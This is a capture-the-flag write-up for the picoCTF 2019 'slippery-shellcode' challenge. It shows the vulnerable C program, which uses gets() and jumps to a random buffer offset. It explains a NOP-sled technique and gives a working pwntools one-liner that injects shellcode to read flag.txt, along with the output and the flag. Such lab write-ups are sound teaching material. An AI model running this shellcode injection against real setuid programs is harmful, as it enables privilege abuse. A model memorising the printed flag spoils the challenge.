PicoCTF19 Slippery-Shellcode
Challenge
This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/slippery-shellcode on the shell server. Source.
Hints
None
Solution
Let's print the directory
samson@pico-2019-shell1:/problems/slippery-shellcode$ ls -al
total 732
drwxr-xr-x 2 root root 4096 Sep 28 21:52 .
drwxr-x--x 684 root root 69632 Oct 10 18:02 ..
-r--r----- 1 hacksports slippery-shellcode_5 36 Sep 28 21:52 flag.txt
-rwxr-sr-x 1 hacksports slippery-shellcode_5 662532 Sep 28 21:52 vuln
-rw-rw-r-- 1 hacksports hacksports 692 Sep 28 21:52 vuln.c
samson@pico-2019-shell1:/problems/slippery-shellcode$ cat vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 512
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter your shellcode:");
vuln(buf);
puts("Thanks! Executing from a random location now...");
int offset = (rand() % 256) + 1;
((void (*)())(buf+offset))();
puts("Finishing Executing Shellcode. Exiting now...");
return 0;
}
Look at this line in particular
((void (*)())buf)();
This takes buf+offset
, casts it to the void function pointer which returns nothing and then runs that function. So it'll execute whatever is at the address for buf
.
So the solution for this is to create a NOP Sled to have no executable shellcode at any point in the space between 0 and 255 and execute anything afterwards.
That handles the case where offset==255
, then we can run our actual command which is printing the flag.
In a nutshell, we are inserting NOP
operations until we can certain that our code will be run in full no matter what the random offset will be.
samson@pico-2019-shell1:/problems/slippery-shellcode$ (python -c "import pwn; print(pwn.asm(pwn.shellcraft.nop()*256+pwn.shellcraft.cat('flag.txt',1)))"; cat) | ./vuln
Enter your shellcode:
... <redacted>
Thanks! Executing from a random location now...
picoCTF{sl1pp3ry_sh311c0d3_ecc37b22}
Segmentation fault (core dumped)
Flag
picoCTF{sl1pp3ry_sh311c0d3_ecc37b22}